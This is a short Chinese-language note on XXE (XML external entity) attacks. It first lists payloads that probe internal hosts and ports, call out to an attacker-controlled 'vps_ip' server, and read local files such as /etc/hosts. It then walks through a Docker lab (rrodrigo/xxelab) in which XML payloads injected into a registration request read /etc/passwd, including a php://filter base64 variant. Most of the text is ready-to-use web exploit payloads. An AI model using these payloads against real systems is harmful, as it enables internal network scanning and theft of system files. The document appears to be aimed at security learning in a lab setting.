引用外部DTD文件訪問內網主機/端口。
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看響應時間)
引用外部DTD文件訪問wai網。
<!DOCTYPE a SYSTEM "http://vps_ip" >
引用內部實體。
<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
外部實體讀本地文件。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
外部實體訪問內wang主機端口。
<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看響應時間)
外部實體訪問wai網。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
docker中下載rrodrigo/xxelab該鏡像
啓動:docker run -d -p 8082:80 rrodrigo/xxelab
抓取註冊包,發現採用xml格式傳遞,且郵箱有返回:
將返回內容處進行xxe回顯設置讀取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "/etc/passwd">
]>
利用base64編碼進行xxe,防止有返回包驗證
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
返回base64數據包,base64解碼